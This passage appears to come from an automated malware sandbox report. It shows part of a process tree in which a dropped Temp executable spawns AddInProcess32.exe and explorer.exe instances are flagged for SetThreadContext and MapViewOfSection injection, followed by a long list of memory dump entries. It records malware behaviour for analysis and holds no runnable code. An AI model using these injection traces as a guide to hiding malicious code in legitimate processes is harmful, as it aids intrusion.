                                                                                      C:\Users\Admin\AppData\Local\Temp\14D0.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetThreadContext
                                                                                      PID:5240
                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                        2⤵
                                                                                          PID:4176
                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                          2⤵
                                                                                            PID:5688
                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                          1⤵
                                                                                            PID:1128
                                                                                          • C:\Windows\explorer.exe
                                                                                            C:\Windows\explorer.exe
                                                                                            1⤵
                                                                                              PID:3960
                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                                              1⤵
                                                                                                PID:5188
                                                                                              • C:\Windows\explorer.exe
                                                                                                C:\Windows\explorer.exe
                                                                                                1⤵
                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                PID:5004
                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                1⤵
                                                                                                  PID:5032
                                                                                                • C:\Windows\explorer.exe
                                                                                                  C:\Windows\explorer.exe
                                                                                                  1⤵
                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                  PID:5380
                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                  1⤵
                                                                                                    PID:5960
                                                                                                  • C:\Windows\explorer.exe
                                                                                                    C:\Windows\explorer.exe
                                                                                                    1⤵
                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                    PID:4236
                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                    1⤵
                                                                                                      PID:4596
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                      1⤵
                                                                                                        PID:5312
                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                        1⤵
                                                                                                          PID:4716

                                                                                                        Network

                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        • memory/500-114-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                          Filesize

                                                                                                          172KB

                                                                                                        • memory/788-195-0x0000020AD6A60000-0x0000020AD6AD0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/1004-218-0x000001FFF5D60000-0x000001FFF5DD0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/1052-126-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                          Filesize

                                                                                                          88KB

                                                                                                        • memory/1056-190-0x00000230BB2D0000-0x00000230BB340000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/1056-186-0x00000230BAC60000-0x00000230BACAB000-memory.dmp

                                                                                                          Filesize

                                                                                                          300KB

                                                                                                        • memory/1192-211-0x0000020BD2980000-0x0000020BD29F0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/1232-217-0x0000015608570000-0x00000156085E0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/1312-136-0x0000000002890000-0x0000000002892000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/1408-200-0x00000169715D0000-0x0000016971640000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/1820-205-0x000002C8A8710000-0x000002C8A8780000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/2200-123-0x0000000001140000-0x0000000001142000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/2344-119-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/2448-185-0x000001B955C80000-0x000001B955CF0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/2492-227-0x000001A97E140000-0x000001A97E1B0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/2708-223-0x000002A601B80000-0x000002A601BF0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/2764-228-0x0000017A3EE90000-0x0000017A3EF00000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/2836-206-0x000001FE52570000-0x000001FE525E0000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/3016-322-0x00000000012F0000-0x0000000001307000-memory.dmp

                                                                                                          Filesize

                                                                                                          92KB

                                                                                                        • memory/3016-326-0x0000000004EA0000-0x0000000004EB5000-memory.dmp

                                                                                                          Filesize

                                                                                                          84KB

                                                                                                        • memory/3636-141-0x0000000002D80000-0x0000000002D82000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/3636-147-0x0000000002D82000-0x0000000002D84000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/3636-151-0x0000000002D85000-0x0000000002D86000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/3668-135-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/3820-146-0x00000000028C0000-0x00000000028C2000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/3820-148-0x00000000028C2000-0x00000000028C4000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/3820-150-0x00000000028C4000-0x00000000028C5000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/3820-149-0x00000000028C5000-0x00000000028C7000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/3968-194-0x000001F106E00000-0x000001F106E70000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/4132-298-0x0000000002BB0000-0x0000000002C5E000-memory.dmp

                                                                                                          Filesize

                                                                                                          696KB

                                                                                                        • memory/4184-293-0x0000000000400000-0x0000000002BF4000-memory.dmp

                                                                                                          Filesize

                                                                                                          40.0MB

                                                                                                        • memory/4184-290-0x00000000047E0000-0x0000000004871000-memory.dmp

                                                                                                          Filesize

                                                                                                          580KB

                                                                                                        • memory/4204-239-0x0000000003540000-0x0000000003550000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/4204-245-0x0000000003790000-0x00000000037A0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/4408-158-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/4408-159-0x0000000000A50000-0x0000000000A62000-memory.dmp

                                                                                                          Filesize

                                                                                                          72KB

                                                                                                        • memory/4628-182-0x0000000004BE2000-0x0000000004CE3000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.0MB

                                                                                                        • memory/4628-184-0x0000000003380000-0x00000000033DC000-memory.dmp

                                                                                                          Filesize

                                                                                                          368KB

                                                                                                        • memory/4828-210-0x0000019BD6500000-0x0000019BD6570000-memory.dmp

                                                                                                          Filesize

                                                                                                          448KB

                                                                                                        • memory/4828-321-0x0000019BD8B00000-0x0000019BD8C01000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.0MB

                                                                                                        • memory/5508-294-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/5508-296-0x0000000000780000-0x0000000000792000-memory.dmp

                                                                                                          Filesize

                                                                                                          72KB

                                                                                                        • memory/5588-295-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                          Filesize

                                                                                                          48KB

                                                                                                        • memory/5680-324-0x0000000000400000-0x0000000002BA3000-memory.dmp

                                                                                                          Filesize

                                                                                                          39.6MB

                                                                                                        • memory/5680-323-0x0000000002BB0000-0x0000000002C5E000-memory.dmp

                                                                                                          Filesize

                                                                                                          696KB

                                                                                                        • memory/5684-349-0x0000000006760000-0x0000000006761000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5684-350-0x0000000006762000-0x0000000006763000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-312-0x0000000007670000-0x0000000007671000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-311-0x0000000007030000-0x0000000007031000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-316-0x0000000007E50000-0x0000000007E51000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-314-0x0000000007500000-0x0000000007501000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-310-0x0000000006E40000-0x0000000006E41000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-317-0x0000000007EC0000-0x0000000007EC1000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-336-0x0000000007033000-0x0000000007034000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-315-0x00000000075A0000-0x00000000075A1000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/5836-313-0x0000000007032000-0x0000000007033000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/6044-339-0x0000000006F30000-0x0000000006F31000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/6044-348-0x0000000006F33000-0x0000000006F34000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/6044-341-0x0000000006F32000-0x0000000006F33000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB